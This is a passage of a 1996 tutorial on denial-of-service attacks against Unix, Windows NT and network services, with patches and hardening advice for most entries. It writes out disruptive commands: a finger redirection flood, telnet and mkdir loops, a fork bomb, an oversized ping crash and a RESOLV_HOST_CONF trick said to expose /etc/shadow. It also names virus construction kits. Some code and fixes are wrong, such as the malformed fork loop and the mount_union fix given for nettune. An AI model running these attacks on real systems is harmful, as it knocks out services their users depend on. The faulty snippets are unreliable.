    A comparison between Microsoft and Unix regarding outside attacks
    are much more difficult. However I would like to say that the average
    Microsoft system on the Internet are more secure against outside
    attacks, because they normally have much less services.

    .B. SOME BASIC TARGETS FOR AN ATTACK
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    .B.1. SWAP SPACE
    ----------------

    Most systems have several hundred Mbytes of swap space to
    service client requests. The swap space is typical used
    for forked child processes which have a short life time.
    The swap space will therefore almost never in a normal
    cause be used heavily. A denial of service could be based
    on a method that tries to fill up the swap space.

    .B.2. BANDWIDTH
    ---------------

    If the bandwidth is to high the network will be useless. Most
    denial of service attack influence the bandwidth in some way.

    .B.3. KERNEL TABLES
    -------------------

    It is trivial to overflow the kernel tables which will cause
    serious problems on the system. Systems with write through
    caches and small write buffers is especially sensitive.

    Kernel memory allocation is also a target that is sensitive.
    The kernel have a kernelmap limit, if the system reach this
    limit it can not allocate more kernel memory and must be rebooted.
    The kernel memory is not only used for RAM, CPU:s, screens and so
    on, it it also used for ordinaries processes. Meaning that any system
    can be crashed and with a mean (or in some sense good) algorithm pretty
    fast.

    For Solaris 2.X it is measured and reported with the sar command
    how much kernel memory the system is using, but for SunOS 4.X there
    is no such command. Meaning that under SunOS 4.X you don't even can
    get a warning. If you do use Solaris you should write sar -k 1 to
    get the information. netstat -k can also be used and shows how much
    memory the kernel have allocated in the subpaging.

    .B.4. RAM
    ---------

    A denial of service attack that allocates a large amount of RAM
    can make a great deal of problems. NFS and mail servers are
    actually extremely sensitive because they do not need much
    RAM and therefore often don't have much RAM. An attack at
    a NFS server is trivial. The normal NFS client will do a
    great deal of caching, but a NFS client can be anything
    including the program you wrote yourself...

    .B.5. DISKS
    -----------

    A classic attack is to fill up the hard disk, but an attack at
    the disks can be so much more. For example can an overloaded disk
    be misused in many ways.

    .B.6. CACHES
    -------------

    A denial of service attack involving caches can be based on a method
    to block the cache or to avoid the cache.

    These caches are found on Solaris 2.X:

    Directory name lookup cache: Associates the name of a file with a vnode.

    Inode cache: Cache information read from disk in case it is needed
    again.

    Rnode cache: Holds information about the NFS filesystem.

    Buffer cache: Cache inode indirect blocks and cylinders to realed disk
    I/O.

    .B.7. INETD
    -----------

    Well once inetd crashed all other services running through inetd no
    longer will work.


    .C. ATTACKING FROM THE OUTSIDE
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


    .C.1. TAKING ADVANTAGE OF FINGER
    --------------------------------

    Most fingerd installations support redirections to an other host.

    Ex:

    $finger @system.two.com@system.one.com

    finger will in the example go through system.one.com and on to
    system.two.com. As far as system.two.com knows it is system.one.com
    who is fingering. So this method can be used for hiding, but also
    for a very dirty denial of service attack. Lock at this:

    $ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack

    All those @ signs will get finger to finger host.we.attack again and
    again and again... The effect on host.we.attack is powerful and
    the result is high bandwidth, short free memory and a hard disk with
    less free space, due to all child processes (compare with .D.5.).

    The solution is to install a fingerd which don't support redirections,
    for example GNU finger. You could also turn the finger service off,
    but I think that is just a bit to much.

    .C.2. UDP AND SUNOS 4.1.3.
    --------------------------

    SunOS 4.1.3. is known to boot if a packet with incorrect information
    in the header is sent to it. This is the cause if the ip_options
    indicate a wrong size of the packet.

    The solution is to install the proper patch.

    .C.3. FREEZING UP X-WINDOWS
    ---------------------------

    If a host accepts a telnet session to the X-Windows port (generally
    somewhere between 6000 and 6025. In most cases 6000) could that
    be used to freeze up the X-Windows system. This can be made with
    multiple telnet connections to the port or with a program which
    sends multiple XOpenDisplay() to the port.

    The same thing can happen to Motif or Open Windows.

    The solution is to deny connections to the X-Windows port.

    .C.4. MALICIOUS USE OF UDP SERVICES
    -----------------------------------

    It is simple to get UDP services (echo, time, daytime, chargen) to
    loop, due to trivial IP-spoofing. The effect can be high bandwidth
    that causes the network to become useless. In the example the header
    claim that the packet came from 127.0.0.1 (loopback) and the target
    is the echo port at system.we.attack. As far as system.we.attack knows
    is 127.0.0.1 system.we.attack and the loop has been establish.

    Ex:

    from-IP=127.0.0.1
    to-IP=system.we.attack
    Packet type:UDP
    from UDP port 7
    to UDP port 7

    Note that the name system.we.attack looks like a DNS-name, but the
    target should always be represented by the IP-number.

    Quoted from proberts@clark.net (Paul D. Robertson) comment on
    comp.security.firewalls on matter of "Introduction to denial of service"

    " A great deal of systems don't put loopback on the wire, and simply
    emulate it. Therefore, this attack will only effect that machine
    in some cases. It's much better to use the address of a different
    machine on the same network. Again, the default services should
    be disabled in inetd.conf. Other than some hacks for mainframe IP
    stacks that don't support ICMP, the echo service isn't used by many
    legitimate programs, and TCP echo should be used instead of UDP
    where it is necessary. "

    .C.5. ATTACKING WITH LYNX CLIENTS
    ---------------------------------

    A World Wide Web server will fork an httpd process as a respond
    to a request from a client, typical Netscape or Mosaic. The process
    lasts for less than one second and the load will therefore never
    show up if someone uses ps. In most causes it is therefore very
    safe to launch a denial of service attack that makes use of
    multiple W3 clients, typical lynx clients. But note that the netstat
    command could be used to detect the attack (thanks to Paul D. Robertson).

    Some httpd:s (for example http-gw) will have problems besides the normal
    high bandwidth, low memory... And the attack can in those causes get
    the server to loop (compare with .C.6.)

    .C.6. MALICIOUS USE OF telnet
    -----------------------------

    Study this little script:

    Ex:

    while : ; do
    telnet system.we.attack &
    done

    An attack using this script might eat some bandwidth, but it is
    nothing compared to the finger method or most other methods. Well
    the point is that some pretty common firewalls and httpd:s thinks
    that the attack is a loop and turn them self down, until the
    administrator sends kill -HUP.

    This is a simple high risk vulnerability that should be checked
    and if present fixed.

    .C.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4
    -----------------------------------------------

    If the attacker makes a telnet connections to the Solaris 2.4 host and
    quits using:

    Ex:

    Control-}
    quit

    then will inetd keep going "forever". Well a couple of hundred...

    The solution is to install the proper patch.

    .C.8. HOW TO DISABLE ACCOUNTS
    -----------------------------

    Some systems disable an account after N number of bad logins, or waits
    N seconds. You can use this feature to lock out specific users from
    the system.

    .C.9. LINUX AND TCP TIME, DAYTIME
    ----------------------------------

    Inetd under Linux is known to crash if to many SYN packets sends to
    daytime (port 13) and/or time (port 37).

    The solution is to install the proper patch.

    .C.10. HOW TO DISABLE SERVICES
    ------------------------------

    Most Unix systems disable a service after N sessions have been
    open in a given time. Well most systems have a reasonable default
    (lets say 800 - 1000), but not some SunOS systems that have the
    default set to 48...

    The solutions is to set the number to something reasonable.

    .C.11. PARAGON OS BETA R1.4
    ---------------------------

    If someone redirects an ICMP (Internet Control Message Protocol) packet
    to a paragon OS beta R1.4 will the machine freeze up and must be
    rebooted. An ICMP redirect tells the system to override routing
    tables. Routers use this to tell the host that it is sending
    to the wrong router.

    The solution is to install the proper patch.

    .C.12. NOVELLS NETWARE FTP
    --------------------------

    Novells Netware FTP server is known to get short of memory if multiple
    ftp sessions connects to it.

    .C.13. ICMP REDIRECT ATTACKS
    ----------------------------

    Gateways uses ICMP redirect to tell the system to override routing
    tables, that is telling the system to take a better way. To be able
    to misuse ICMP redirection we must know an existing connection
    (well we could make one for ourself, but there is not much use for that).
    If we have found a connection we can send a route that
    loses it connectivity or we could send false messages to the host
    if the connection we have found don't use cryptation.

    Ex: (false messages to send)

    DESTINATION UNREACHABLE
    TIME TO LIVE EXCEEDED
    PARAMETER PROBLEM
    PACKET TOO BIG

    The effect of such messages is a reset of the connection.

    The solution could be to turn ICMP redirects off, not much proper use
    of the service.

    .C.14. BROADCAST STORMS
    -----------------------

    This is a very popular method in networks there all of the hosts are
    acting as gateways.

    There are many versions of the attack, but the basic method is to
    send a lot of packets to all hosts in the network with a destination
    that don't exist. Each host will try to forward each packet so
    the packets will bounce around for a long time. And if new packets
    keep coming the network will soon be in trouble.

    Services that can be misused as tools in this kind of attack is for
    example ping, finger and sendmail. But most services can be misused
    in some way or another.

    .C.15. EMAIL BOMBING AND SPAMMING
    ---------------------------------

    In a email bombing attack the attacker will repeatedly send identical
    email messages to an address. The effect on the target is high bandwidth,
    a hard disk with less space and so on... Email spamming is about sending
    mail to all (or rather many) of the users of a system. The point of
    using spamming instead of bombing is that some users will try to
    send a replay and if the address is false will the mail bounce back. In
    that cause have one mail transformed to three mails. The effect on the
    bandwidth is obvious.

    There is no way to prevent email bombing or spamming. However have
    a look at CERT:s paper "Email bombing and spamming".

    .C.16. TIME AND KERBEROS
    ------------------------

    If not the the source and target machine is closely aligned will the
    ticket be rejected, that means that if not the protocol that set the
    time is protected it will be possible to set a kerberos server of
    function.

    .C.17. THE DOT DOT BUG
    ----------------------

    Windows NT file sharing system is vulnerable to the under Windows 95
    famous dot dot bug (dot dot like ..). Meaning that anyone can crash
    the system. If someone sends a "DIR ..\" to the workstation will a
    STOP messages appear on the screen on the Windows NT computer. Note that
    it applies to version 3.50 and 3.51 for both workstation and server
    version.

    The solution is to install the proper patch.

    .C.18. SUNOS KERNEL PANIC
    -------------------------

    Some SunOS systems (running TIS?) will get a kernel panic if a
    getsockopt() is done after that a connection has been reset.

    The solution could be to install Sun patch 100804.

    .C.19. HOSTILE APPLETS
    ----------------------

    A hostile applet is any applet that attempts to use your system
    in an inappropriate manner. The problems in the java language
    could be sorted in two main groups:

    1) Problems due to bugs.
    2) Problems due to features in the language.

    In group one we have for example the java bytecode verifier bug, which
    makes is possible for an applet to execute any command that the user
    can execute. Meaning that all the attack methods described in .D.X.
    could be executed through an applet. The java bytecode verifier bug
    was discovered in late March 1996 and no patch have yet been available
    (correct me if I'am wrong!!!).

    Note that two other bugs could be found in group one, but they
    are both fixed in Netscape 2.01 and JDK 1.0.1.

    Group two are more interesting and one large problem found is the
    fact that java can connect to the ports. Meaning that all the methods
    described in .C.X. can be performed by an applet. More information
    and examples could be found at address:

    http://www.math.gatech.edu/~mladue/HostileArticle.html

    If you need a high level of security you should use some sort of
    firewall for protection against java. As a user you could have
    java disable.

    .C.20. VIRUS
    ------------

    Computer virus is written for the purpose of spreading and
    destroying systems. Virus is still the most common and famous
    denial of service attack method.

    It is a misunderstanding that virus writing is hard. If you know
    assembly language and have source code for a couple of virus it
    is easy. Several automatic toolkits for virus construction could
    also be found, for example:

    * Genvir.
    * VCS (Virus Construction Set).
    * VCL (Virus Construction Laboratory).
    * PS-MPC (Phalcon/Skism - Mass Produced Code Generator).
    * IVP (Instant Virus Production Kit).
    * G2 (G Squared).

    PS-MPC and VCL is known to be the best and can help the novice programmer
    to learn how to write virus.

    An automatic tool called MtE could also be found. MtE will transform
    virus to a polymorphic virus. The polymorphic engine of MtE is well
    known and should easily be catch by any scanner.

    .C.21. ANONYMOUS FTP ABUSE
    --------------------------

    If an anonymous FTP archive have a writable area it could be misused
    for a denial of service attack similar with with .D.3. That is we can
    fill up the hard disk.

    Also can a host get temporarily unusable by massive numbers of
    FTP requests.

    For more information on how to protect an anonymous FTP site could
    CERT:s "Anonymous FTP Abuses" be a good start.

    .C.22. SYN FLOODING
    -------------------

    Both 2600 and Phrack have posted information about the syn flooding attack.
    2600 have also posted exploit code for the attack.

    As we know the syn packet is used in the 3-way handshake. The syn flooding
    attack is based on an incomplete handshake. That is the attacker host
    will send a flood of syn packet but will not respond with an ACK packet.
    The TCP/IP stack will wait a certain amount of time before dropping
    the connection, a syn flooding attack will therefore keep the syn_received
    connection queue of the target machine filled.

    The syn flooding attack is very hot and it is easy to find more information
    about it, for example:

    [.1.] http://www.eecs.nwu.edu/~jmyers/bugtraq/1354.html
    Article by Christopher Klaus, including a "solution".

    [.2.] http://jya.com/floodd.txt
    2600, Summer, 1996, pp. 6-11. FLOOD WARNING by Jason Fairlane

    [.3.] http://www.fc.net/phrack/files/p48/p48-14.html
    IP-spoofing Demystified by daemon9 / route / infinity
    for Phrack Magazine

    .C.23. PING FLOODING
    --------------------

    I haven't tested how big the impact of a ping flooding attack is, but
    it might be quite big.

    Under Unix we could try something like: ping -s host
    to send 64 bytes packets.

    If you have Windows 95, click the start button, select RUN, then type
    in: PING -T -L 256 xxx.xxx.xxx.xx. Start about 15 sessions.

    .C.24. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES
    ----------------------------------------------------------

    If someone can ping your machine from a Windows 95 machine he or she might
    reboot or freeze your machine. The attacker simply writes:

    ping -l 65510 address.to.the.machine

    And the machine will freeze or reboot.

    Works for kernel 2.0.7 up to version 2.0.20. and 2.1.1. for Linux (crash).
    AIX4, OSF, HPUX 10.1, DUnix 4.0 (crash).
    OSF/1, 3.2C, Solaris 2.4 x86 (reboot).

    .C.25. MALICIOUS USE OF SUBNET MASK REPLY MESSAGE
    --------------------------------------------------

    The subnet mask reply message is used under the reboot, but some
    hosts are known to accept the message any time without any check.
    If so all communication to or from the host us turned off, it's dead.

    The host should not accept the message any time but under the reboot.

    .C.26. FLEXlm
    -------------

    Any host running FLEXlm can get the FLEXlm license manager daemon
    on any network to shutdown using the FLEXlm lmdown command.

    # lmdown -c /etc/licence.dat
    lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.

    Shutting down FLEXlm on nodes: xxx
    Are you sure? [y/n]: y
    Shut down node xxx
    #

    .C.27. BOOTING WITH TRIVIAL FTP
    -------------------------------

    To boot diskless workstations one often use trivial ftp with rarp or
    bootp. If not protected an attacker can use tftp to boot the host.


    .D. ATTACKING FROM THE INSIDE
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    .D.1. KERNEL PANIC UNDER SOLARIS 2.3
    ------------------------------------

    Solaris 2.3 will get a kernel panic if this
    is executed:

    EX:

    $ndd /dev/udp udp_status

    The solution is to install the proper patch.

    .D.2. CRASHING THE X-SERVER
    ---------------------------

    If stickybit is not set in /tmp then can the file /tmp/.x11-unix/x0
    be removed and the x-server will crash.

    Ex:

    $ rm /tmp/.x11-unix/x0

    .D.3. FILLING UP THE HARD DISK
    -----------------------------

    If your hard disk space is not limited by a quota or if you can use
    /tmp then it`s possible for you to fill up the file system.

    Ex:

    while : ;
    mkdir .xxx
    cd .xxx
    done

    .D.4. MALICIOUS USE OF eval
    ---------------------------

    Some older systems will crash if eval '\!\!' is executed in the
    C-shell.

    Ex:

    % eval '\!\!'

    .D.5. MALICIOUS USE OF fork()
    -----------------------------

    If someone executes this C++ program the result will result in a crash
    on most systems.

    Ex:

    #include &lt;sys/types.h&gt;
    #include &lt;unistd.h&gt;
    #include &lt;iostream.h&gt;

    main()
    {
    int x;
    while(x=0;x&lt;1000000;x++)
    {
    system("uptime");
    fork();
    }
    }

    You can use any command you want, but uptime is nice
    because it shows the workload.

    To get a bigger and very ugly attack you should however replace uptime
    (or fork them both) with sync. This is very bad.

    If you are real mean you could also fork a child process for
    every child process and we will get an exponential increase of
    workload.

    There is no good way to stop this attack and
    similar attacks. A solution could be to place a limit
    on time of execution and size of processes.

    .D.6. CREATING FILES THAT IS HARD TO REMOVE
    -------------------------------------------

    Well all files can be removed, but here is some ideas:

    Ex.I.

    $ cat &gt; -xxx
    ^C
    $ ls
    -xxx
    $ rm -xxx
    rm: illegal option -- x
    rm: illegal option -- x
    rm: illegal option -- x
    usage: rm [-fiRr] file ...
    $

    Ex.II.

    $ touch xxx!
    $ rm xxx!
    rm: remove xxx! (yes/no)? y
    $ touch xxxxxxxxx!
    $ rm xxxxxxxxx!
    bash: !": event not found
    $

    (You see the size do count!)

    Other well know methods is files with odd characters or spaces
    in the name.

    These methods could be used in combination with ".D.3 FILLING UP THE
    HARDDISK". If you do want to remove these files you must use some sort
    of script or a graphical interface like OpenWindow:s File
    Manager. You can also try to use: rm ./&lt;filename&gt;. It should work for
    the first example if you have a shell.

    .D.7. DIRECTORY NAME LOOKUPCACHE
    --------------------------------

    Directory name lookupcache (DNLC) is used whenever a file is opened.
    DNLC associates the name of the file to a vnode. But DNLC can only
    operate on files with names that has less than N characters (for SunOS 4.x
    up to 14 character, for Solaris 2.x up 30 characters). This means
    that it's dead easy to launch a pretty discreet denial of service attack.

    Create lets say 20 directories (for a start) and put 10 empty files in
    every directory. Let every name have over 30 characters and execute a
    script that makes a lot of ls -al on the directories.

    If the impact is not big enough you should create more files or launch
    more processes.

    .D.8. CSH ATTACK
    ----------------

    Just start this under /bin/csh (after proper modification)
    and the load level will get very high (that is 100% of the cpu time)
    in a very short time.

    Ex:

    |I /bin/csh
    nodename : **************b

    .D.9. CREATING FILES IN /tmp
    ----------------------------

    Many programs creates files in /tmp, but are unable to deal with the problem
    if the file already exist. In some cases this could be used for a
    denial of service attack.

    .D.10. USING RESOLV_HOST_CONF
    -----------------------------

    Some systems have a little security hole in the way they use the
    RESOLV_HOST_CONF variable. That is we can put things in it and
    through ping access confidential data like /etc/shadow or
    crash the system. Most systems will crash if /proc/kcore is
    read in the variable and access through ping.

    Ex:

    $ export RESOLV_HOST_CONF="/proc/kcore" ; ping asdf

    .D.11. SUN 4.X AND BACKGROUND JOBS
    ----------------------------------

    Thanks to Mr David Honig &lt;honig@amada.net&gt; for the following:

    " Put the string "a&" in a file called "a" and perform "chmod +x a".
    Running "a" will quickly disable a Sun 4.x machine, even disallowing
    (counter to specs) root login as the kernel process table fills."

    " The cute thing is the size of the
    script, and how few keystrokes it takes to bring down a Sun
    as a regular user."

    .D.12. CRASHING DG/UX WITH ULIMIT
    ---------------------------------

    ulimit is used to set a limit on the system resources available to the
    shell. If ulimit 0 is called before /etc/passwd, under DG/UX, will the
    passwd file be set to zero.

    .D.13. NETTUNE AND HP-UX
    ------------------------

    /usr/contrib/bin/nettune is SETUID root on HP-UX meaning
    that any user can reset all ICMP, IP and TCP kernel
    parameters, for example the following parameters:

    - arp_killcomplete
    - arp_killincomplete
    - arp_unicast
    - arp_rebroadcast
    - icmp_mask_agent
    - ip_defaultttl
    - ip_forwarding
    - ip_intrqmax
    - pmtu_defaulttime
    - tcp_localsubnets
    - tcp_receive
    - tcp_send
    - tcp_defaultttl
    - tcp_keepstart
    - tcp_keepfreq
    - tcp_keepstop
    - tcp_maxretrans
    - tcp_urgent_data_ptr
    - udp_cksum
    - udp_defaultttl
    - udp_newbcastenable
    - udp_pmtu
    - tcp_pmtu
    - tcp_random_seq

    The solution could be to set the proper permission on
    /sbin/mount_union:

    #chmod u-s /sbin/mount_union

    .D.14. SOLARIS 2.X AND NFS
    --------------------------

    If a process is writing over NFS and the user goes over the disk
    quota will the process go into an infinite loop.

    .D.15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION
    --------------------------------------------------

    By executing a sequence of mount_union commands any user
    can cause a system reload on all FreeBSD version 2.X before
    1996-05-18.

    $ mkdir a
    $ mkdir b
    $ mount_union ~/a ~/b
    $ mount_union -b ~/a ~/b

    The solution could be to set the proper permission on
    /sbin/mount_union:

    #chmod u-s /sbin/mount_union

    .D.16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X
    ----------------------------------------------------

    Executing the trap_mon instruction from user mode can cause
    a kernel panic or a window underflow watchdog reset under
    SunOS 4.1.x, sun4c architecture.


    .E. DUMPING CORE
    ~~~~~~~~~~~~~~~~

    .E.1. SHORT COMMENT
    -------------------

    The core dumps things don't really belongs in this paper but I have
    put them here anyway.

    .E.2. MALICIOUS USE OF NETSCAPE
    -------------------------------

    Under Netscape 1.1N this link will result in a segmentation fault and a
    core dump.

    Ex:

    &lt;a name="http://xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
    xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.
    xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.
    xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
    xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx...&gt;

    .E.3. CORE DUMPED UNDER WUFTPD
    ------------------------------

    A core dumped could be created under wuftp with two different
    methods:

    (1) Then pasv is given (user not logged in (ftp -n)). Almost all
    versions of BSD:s ftpd.
    (2) More than 100 arguments is given with any executable
    command. Presents in all versions of BSD:sd ftpd.

    .E.4. ld UNDER SOLARIS/X86
    --------------------------

    Under Solaris 2.4/X86 ld dumps core if given with the -s option.


    .F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    .F.1. BASIC SECURITY PROTECTION
    -------------------------------

    .F.1.1. INTRODUCTION
    --------------------

    You can not make your system totally secured against denial of service
    attacks but for attacks from the outside you can do a lot. I put this
    work list together and hope that it can be of some use.

    .F.1.2. SECURITY PATCHES
    ------------------------

    Always install the proper security patches. As for patch numbers
    I don't want to put them out, but that doesn't matter because you
    anyway want to check that you have all security patches installed,
    so get a list and check! Also note that patches change over time and
    that a solution suggested in security bulletins (i.e. CERT) often
    is somewhat temporary.

    .F.1.3. PORT SCANNING
    ---------------------

    Check which services you have. Don't check with the manual
    or some configuration file, instead scan the ports with sprobe
    or some other port scanner. Actual you should do this regualy to see
    that anyone don't have installed a service that you don't want on
    the system (could for example be service used for a pirate site).

    Disable every service that you don't need, could for example be rexd,
    fingerd, systat, netstat, rusersd, sprayd, pop3, uucpd, echo, chargen,
    tftp, exec, ufs, daytime, time... Any combination of echo, time, daytime
    and chargen is possible to get to loop. There is however no need
    to turn discard off. The discard service will just read a packet
    and discard it, so if you turn off it you will get more sensitive to
    denial of service and not the opposite.

    Actual can services be found on many systems that can be used for
    denial of service and brute force hacking without any logging. For
    example Stock rexec never logs anything. Most popd:s also don't log
    anything

    .F.1.4. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER
    ---------------------------------------------------------

    Check that attacks described in this paper and look at the
    solution. Some attacks you should perform yourself to see if they
    apply to your system, for example:

    - Freezing up X-Windows.
    - Malicious use of telnet.
    - How to disable services.
    - SunOS kernel panic.
    - Attacking with lynx clients.
    - Crashing systems with ping from Windows 95 machines.

    That is stress test your system with several services and look at
    the effect.

    Note that Solaris 2.4 and later have a limit on the number of ICMP
    error messages (1 per 500 ms I think) that can cause problems then
    you test your system for some of the holes described in this paper.
    But you can easy solve this problem by executing this line:

    $ /usr/sbin/ndd -set /dev/ip ip_icmp_err_interval 0

    .F.1.5. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER
    --------------------------------------------------------

    Check the inside attacks, although it is always possibly to crash
    the system from the inside you don't want it to be to easy. Also
    have several of the attacks applications besides denial of service,
    for example:

    - Crashing the X-Server: If stickybit is not set in /tmp
    a number of attacks to gain
    access can be performed.

    - Using resolv_host_conf: Could be used to expose
    confidential data like
    /etc/shadow.

    - Core dumped under wuftpd: Could be used to extract
    password-strings.

    If I don't have put out a solution I might have recommended son other paper.
    If not I don't know of a paper with a solution I feel that I can recommend.
    You should in these causes check with your company.

    .F.1.6. EXTRA SECURITY SYSTEMS
    ------------------------------

    Also think about if you should install some extra security systems.
    The basic that you always should install is a logdaemon and a wrapper.
    A firewall could also be very good, but expensive. Free tools that can
    be found on the Internet is for example:

    TYPE: NAME: URL:

    LOGDAEMON NETLOG ftp://net.tamu.edu/pub/security/TAMU
    WRAPPER TCP WRAPPERS ftp://cert.org/pub/tools/tcp_wrappers
    FIREWALL TIS ftp://ftp.tis.com/pub/firewalls/toolkit

    Note that you should be very careful if building your own firewall with
    TIS or you might open up new and very bad security holes, but it is a very
    good security packer if you have some basic knowledge.

    It is also very good to replace services that you need, for example telnet,
    rlogin, rsh or whatever, with a tool like ssh. Ssh is free and can be
    found at URL:

    ftp://ftp.cs.hut.fi/pub/ssh

    The addresses I have put out are the central sites for distributing
    and I don't think that you should use any other except for CERT.

    For a long list on free general security tools I recommend:
    "FAQ: Computer Security Frequently Asked Questions".

    .F.1.7. MONITORING SECURITY
    ---------------------------

    Also monitor security regular, for example through examining system log
    files, history files... Even in a system without any extra security systems
    could several tools be found for monitoring, for example:

    - uptime
    - showmount
    - ps
    - netstat
    - finger

    (see the man text for more information).

    .F.1.8. KEEPING UP TO DATE
    --------------------------

    It is very important to keep up to date with security problems. Also
    understand that then, for example CERT, warns for something it has often
    been dark-side public for sometime, so don't wait. The following resources
    that helps you keeping up to date can for example be found on the Internet:

    - CERT mailing list. Send an e-mail to cert@cert.org to be placed
    on the list.

    - Bugtraq mailing list. Send an e-mail to bugtraq-request@fc.net.

    - WWW-security mailing list. Send an e-mail to
    www-security@ns2.rutgers.edu.

    .F.1.9. READ SOMETHING BIGGER AND BETTER
    ----------------------------------------

    Let's start with papers on the Internet. I am sorry to say that it is not
    very many good free papers that can be found, but here is a small collection
    and I am sorry if have have over looked a paper.

    (1) The Rainbow books is a long series of free books on computer security.
    US citizens can get the books from:

    INFOSEC AWARENESS OFFICE
    National Computer Security Center
    9800 Savage Road
    Fort George G. Meader, MD 20755-600

    We other just have to read the papers on the World Wide Web. Every
    paper can not however be found on the Internet.

    (2) "Improving the security of your Unix system" by Curry is also very
    nice if you need the very basic things. If you don't now anything about
    computer security you can't find a better start.

    (3) "The WWW security FAQ" by Stein is although it deal with W3-security
    the very best better on the Internet about computer security.

    (4) CERT have aklso published several good papers, for example:

    - Anonymous FTP Abuses.
    - Email Bombing and Spamming.
    - Spoofed/Forged Email.
    - Protecting yourself from password file attacks.

    I think however that the last paper have overlooked several things.

    (5) For a long list on papers I can recommend:
    "FAQ: Computer Security Frequently Asked Questions".

    (6) Also see section ".G. SUGGESTED READING"

    You should also get some big good commercial book, but I don't want
    to recommend any.

    .F.2. MONITORING PERFORMANCE
    ----------------------------

    .F.2.1. INTRODUCTION
    --------------------

    There is several commands and services that can be used for
    monitoring performance. And at least two good free programs can
    be found on Internet.

    .F.2.2. COMMANDS AND SERVICES
    -----------------------------

    For more information read the man text.

    netstat Show network status.
    nfsstat Show NFS statistics.
    sar System activity reporter.
    vmstat Report virtual memory statistics.
    timex Time a command, report process data and system
    activity.
    time Time a simple command.
    truss Trace system calls and signals.
    uptime Show how long the system has been up.

    Note that if a public netstat server can be found you might be able
    to use netstat from the outside. netstat can also give information
    like tcp sequence numbers and much more.

    .F.2.3. PROGRAMS
    ----------------

    Proctool: Proctool is a freely available tool for Solaris that monitors
    and controls processes.
    ftp://opcom.sun.ca/pub/binaries/

    Top: Top might be a more simple program than Proctool, but is
    good enough.

    .F.2.4. ACCOUNTING
    ------------------

    To monitor performance you have to collect information over a long
    period of time. All Unix systems have some sort of accounting logs
    to identify how much CPU time, memory each program uses. You should
    check your manual to see how to set this up.

    You could also invent your own account system by using crontab and
    a script with the commands you want to run. Let crontab run the script
    every day and compare the information once a week. You could for
    example let the script run the following commands:

    - netstat
    - iostat -D
    - vmstat


    .G. SUGGESTED READING
    ~~~~~~~~~~~~~~~~~~~~~

    .F.1. INFORMATION FOR DEEPER KNOWLEDGE
    -------------------------------------

    (1) Hedrick, C. Routing Information Protocol. RFC 1058, 1988.
    (2) Mills, D.L. Exterior Gateway Protocol Formal Specification. RFC 904, 1984.
    (3) Postel, J. Internet Control Message Protocol. RFC 792, 1981.
    (4) Harrenstien, K. NAME/FINGER Protocol, RFC 742, 1977.
    (5) Sollins, K.R. The TFTP Protocol, RFC 783, 1981.
    (6) Croft, W.J. Bootstrap Protocol, RFC 951, 1985.

    Many of the papers in this category was RFC-papers. A RFC-paper
    is a paper that describes a protocol. The letters RCS stands for
    Request For Comment. Hosts on the Internet are expected to understand
    at least the common ones. If you want to learn more about a protocol
    it is always good to read the proper RFC. You can find a nice sRFC
    index search form at URL:

    http://pubweb.nexor.co.uk/public/rfc/index/rfc.html

    .F.2. KEEPING UP TO DATE INFORMATION
    ------------------------------------

    (1) CERT mailing list. Send an e-mail to cert@cert.org to be placed
    on the list.
    (2) Bugtraq mailinglist. Send an e-mail to bugtraq-request@fc.net.
    (3) WWW-security mailinglist. Send an e-mail to www-security@ns2.rutgers.edu.
    (4) Sun Microsystems Security Bulletins.
    (5) Various articles from: - comp.security.announce
    - comp.security.unix
    - comp.security.firewalls
    (6) Varius 40Hex Issues.

    .F.3. BASIC INFORMATION
    -----------------------

    (1) Husman, H. INTRODUKTION TILL DATASÄKERHET UNDER X-WINDOWS, 1995.
    (2) Husman, H. INTRODUKTION TILL IP-SPOOFING, 1995.
    (3) The following rainbow books: - Teal Green Book (Glossary of
    Computer Security Terms).
    - Bright Orange Book( A Guide
    to Understanding Security Testing
    and Test Documentation in Trusted
    Systems).
    - C1 Technical Report-001
    (Computer Viruses: Preventation,
    Detection, and Treatment).
    (4) Ranum, Marcus. Firewalls, 1993.
    (5) Sun Microsystems, OpenWindows V3.0.1. User Commands, 1992.
    (6) Husman, H. ATT SPÅRA ODOKUMENTERADE SÄKERHETSLUCKOR, 1996.
    (7) Dark OverLord, Unix Cracking Tips, 1989.
    (8) Shooting Shark, Unix Nasties, 1988.
    (9) LaDue, Mark.D. Hostile Applets on the Horizone, 1996.
    (10) Curry, D.A. Improving the security of your unix system, 1990.
    (11) Stein, L.D. The World Wide Web security FAQ, 1995.
    (12) Bellovin, S.M. Security Problems in the TCP/IP Protocol, 1989.

    .H. COPYRIHT
    ------------

    This paper is Copyright (c) 1996 by Hans Husman.

    Permission is hereby granted to give away free copies electronically. You
    may distribute, transfer, or spread this paper electronically. You may not
    pretend that you wrote it. This copyright notice must be maintained in any
    copy made. If you wish to reprint the whole or any part of this paper in any
    other medium excluding electronic medium, please ask the author for
    permission.

    .I. DISCLAIMER
    --------------

    The information within this paper may change without notice. Use of this
    information constitutes acceptance for use in an AS IS condition. There are
    NO warranties with regard to this information. In no event shall the author
    be liable for any damages whatsoever arising out of or in connection with
    the use or spread of this information. Any use of this information is at the
    user's own risk.
    ___________________________________________________________________________


    ___________________________________________________________________________

    Attacking TCP Oldschool style:

